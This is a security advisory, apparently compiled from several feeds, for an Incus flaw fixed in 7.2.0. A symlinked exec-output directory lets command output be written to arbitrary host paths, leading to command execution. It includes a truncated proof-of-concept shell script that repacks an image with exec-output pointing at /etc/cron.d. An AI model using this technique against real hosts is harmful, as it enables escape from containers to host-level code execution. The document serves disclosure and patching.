Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

Affected: Go: github.com/lxc/incus/v7/cmd/incusd

### Summary

The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

### Details

When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink.

### PoC

Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution.

``` #!/bin/sh # usage: $0 existing-imagefp set -eu

basefp="${1}"

die() { printf '%s' "${@}" >&2 exit 1 }

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack" cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output

# Launch container, exec with…

incus-7.4-1.1 on GA media

Affected: Ubuntu:Pro:16.04:LTS: lxd, Ubuntu:Pro:18.04:LTS: lxd, Ubuntu:20.04:LTS: lxd, Ubuntu:Pro:24.04:LTS: incus, Ubuntu:25.10: incus, Ubuntu:Pro:26.04:LTS: incus

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.